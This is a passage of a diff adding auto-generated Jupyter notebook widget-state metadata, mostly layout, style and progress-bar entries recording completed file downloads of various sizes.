+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_ee3536dd987045699fe4a60893461e9f",
+            "max": 239,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_a6cd693cabba4723b5ed8daeefe88916",
+            "value": 239
+          }
+        },
+        "c3a95c1c7c2d47c0a52d1d3f7b2f7193": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "c3ae604a69604f72a1b22e9106540080": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_818c3e0ab3d9498b98cc26e6df006d6a",
+              "IPY_MODEL_06bb057f22154f0faebcda40b2dbc861",
+              "IPY_MODEL_c69a399a0e9f4abc87fdd9959207a88c"
+            ],
+            "layout": "IPY_MODEL_1afd91a1d8eb4919beefdac3152f401e"
+          }
+        },
+        "c3bfc10c18dd445e8551a277e1d1a5b4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_abd9411c99e74e428ba3ebb65ffed365",
+              "IPY_MODEL_8934508e056d422e88d7c41f383e483a",
+              "IPY_MODEL_76940a4c52d246fab882a7f0f8f24d72"
+            ],
+            "layout": "IPY_MODEL_7158271455c24304908f54673337a45b"
+          }
+        },
+        "c3d02b4bdb5146ada4e53a32dc35febc": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "c69a399a0e9f4abc87fdd9959207a88c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_5431f4b36a0346d3b472ea0fe20dd48d",
+            "placeholder": "",
+            "style": "IPY_MODEL_1e3948ee96d3497f8edf9d8b19263335",
+            "value": " 2.12G/2.12G [00:56<00:00, 45.2MB/s]"
+          }
+        },
+        "c6e08dd8a8e9405cbef61c10dbb6c8dc": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_8941da5787534cabbc219811e47fbc15",
+            "placeholder": "",
+            "style": "IPY_MODEL_936ea713a4ea4682a80cc8e7550739ef",
+            "value": "Downloading: 100%"
+          }
+        },
+        "c70a51913db4444c91322ae8fd957d83": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "c869020b9b43497397b0a2d30868729d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_b94893d2d6e34ec09eadda65582bb57f",
+            "placeholder": "",
+            "style": "IPY_MODEL_99f8e2ea08a54d5da15ebf0513c4df11",
+            "value": "Downloading: 100%"
+          }
+        },
+        "ca28e6c2293348d699f18cd2468b0a3e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_e0544d90326b4f9fb27cfda1bbd58be2",
+            "placeholder": "",
+            "style": "IPY_MODEL_d95b3a185d504570a755be15eef6d295",
+            "value": "Downloading: 100%"
+          }
+        },
+        "ca6c01cae2dd400889111363264abd23": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "ca7ffef490174bd1a8084cdbe4f71eb2": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "cb67c30a0e17426dbabfd0b8203b68e1": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_0004381798fc4521b4ae4ef6feeba2f6",
+            "placeholder": "",
+            "style": "IPY_MODEL_6bad3d658e444fca828a0ab58a784fa9",
+            "value": " 773k/773k [00:00<00:00, 1.20MB/s]"
+          }
+        },
+        "cbd388a36e2242efbd7d8c26c2f51503": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_ee70bf84aa4c4dc2bdca9f43ca037202",
+            "max": 1889,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_81fb2fbc958c41f79c5eb5d0568a1ad7",
+            "value": 1889
+          }
+        },
+        "cc87b4647f1a49d4b8f341eb4f94993c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_e2f53481e5164639981f727a14437fae",
+            "max": 456356,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_728a0f5f5b6740349ae326fc07a94c39",
+            "value": 456356
+          }
+        },
+        "cdb2cecb1ea64420912e0909f041d480": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "cdebc94b0884439ba994b20ccff85e51": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "cef8a9fb6e894ccf83cd9e9221891bcf": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "cfd7e14964f2462ebf976e5e104b7cf0": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "d00f7d49a149490492e99ee3f08e21df": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d02e64decf1a45f3b843e239fa51a0aa": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "d037ec7011bd445c902b5e669b68feda": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_975204d9820b4b29a0dffc154dc3e0e6",
+            "placeholder": "",
+            "style": "IPY_MODEL_ae16f8bdc41247538db7173e85afe444",
+            "value": " 329M/329M [00:17<00:00, 29.0MB/s]"
+          }
+        },
+        "d0d36a8655054c7e915b92a1fbde521f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d160344792784c4782fa98d11deb52a3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "d1eec2c1f43d422e882408df6215e855": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_0a1169695a024c109ec2ad72fcd8e112",
+            "placeholder": "",
+            "style": "IPY_MODEL_5c5acab3637049c0b63683653d7e4014",
+            "value": " 1.29M/1.29M [00:00<00:00, 1.69MB/s]"
+          }
+        },
+        "d220ce12e9e04624ab5ddf28424e8e9d": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d2a00c5b5a414a998fe70a5bc04ef990": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_f7349e723bca4e699d39f1d8702f0be1",
+            "max": 891737400,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_26f5b824162c4594a0ad178f67cf6186",
+            "value": 891737400
+          }
+        },
+        "d2a33245573244518decbc50aa18d4fd": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d443cce19f4d4dfa85a00e7d97ec291d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "d4c044d2c96648d684d447df1830baf4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "d4f3ce9f2be548ff83fd8a25f4f8a98d": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d53fad57d55d4f7b84c71fe1cb0ebf8c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_37c54f873ad8469fbd8983bf737bc9ab",
+              "IPY_MODEL_aab03d06ea014e9193c1a93f00f338bd",
+              "IPY_MODEL_792402d8bd874d04a94642473184a8e4"
+            ],
+            "layout": "IPY_MODEL_76e52975e43d4c268947578f56fc4d0b"
+          }
+        },
+        "d5db9f65c0a14747830e195683196f7b": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d5f005198c8440ca8d0c8c7de51e9b56": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d76d73d373c54f278101230e1e643e66": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d83730c26b964173ad265cf354e2e599": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d8e34cbde5a04c648203a18b57c86fca": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
